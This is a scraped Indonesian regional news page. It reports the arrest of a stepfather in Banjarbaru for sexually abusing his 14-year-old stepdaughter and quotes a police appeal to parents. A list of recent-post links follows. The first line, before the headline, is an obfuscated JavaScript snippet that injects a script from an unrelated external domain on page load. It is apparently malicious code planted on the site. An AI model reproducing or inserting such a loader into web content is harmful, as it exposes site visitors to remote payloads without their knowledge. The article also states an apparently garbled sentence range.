(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

PD, Predator Anak Ini Lima Kali Setubuhi NF


BANJARBARU,  Pelaku pencabulan anak dibawah umur ditangkap jajaran Polres Banjarbaru. Adalah PD (45), warga Komplek Kruing, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, dituduh melakukan pelecehan seksual kepada NF (14).

Kasus pencabulan kepada anak ini terungkap dari laporan ibu korban. Bermula dari kebiasaan tidur bertiga dalam satu ranjang menimbulkan hasrat pelaku untuk mencabuli NF.  Pelaku adalah ayah tiri NF, awalnya menggoda korban terus menerus membuat korban yang masih polos ini menuruti apa yang menjadi perintah PD untuk menyetubuhi dirinya.

Pelaku terpancing hasrat karena kebiasaan selalu menonton adegan video porno. Pada awalnya ibu korban merasa curiga dengan gerak-gerik suaminya sendiri, dari kecurigaan tersebut pada malam hari ibu korban pura-pura tidur dengan menghadap ke arah NF. Saat itu ibu korban melihat perlakuan tidak terpuji PD kepada korban yang menyentuh daerah terlarang NF.

Setelah melihat kejadian tersebut ibu NF Senin 25 Desember 2017, langsung menanyakan perlakuan PD kepada NF. Ternyata NF malah mengaku sudah disetubuhi sebanyak lima kali oleh PD dan beberapa kali pencabulan.

PD kemudian ditangkap 27 Desembar 2017, pelaku dituntut atas tindak pidana persetubuhan dan atau pencabulan terhadap anak di bawah umur. Melanggar pasal 81 ayat (3) Jo dan pasal 82 ayat (2) UU No 35 tahun 2014 tentang perubahan atas UU no 23 tahun 2002 tentang perlindungan anak. Pelaku dikenakan acaman hukuman minimal lima tahun penjara maksimal lima tahun penjara.

Dari penangkapan PD didapatkan tiga barang bukti berupa satu lembar kain sprei warna kuning, orange, dan ungu bermotif, satu lembar celana pendek, dan satu lembar baju kaos lengan panjang.

“Kami menghimbau kepada masyarakat yang memiliki anak agar lebih waspada terhadap predator anak dan melaporkan apapun tindakan kriminal serupa,” ujar AKP Ahmad Andi Suryadi, Kasat Reskrim Polres Banjarbaru, saat bertemu awak media di Polres Banjarbaru, Kamis (11/1).

“Dari peristiwa ini menjadi pelajaran penting bagi kita semua. Waspada terhadap orang sekeliling kita yang memiliki kecenderungan ketertarikan dengan anak kecil baik laki-laki maupun perempuan. Kewasapaan dan kepekaan orang tua menjadi dasar utama untuk mencegah anak mengalami perlakuan asusila,” pungkasnya. (devi)

 

Reporter : Devi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.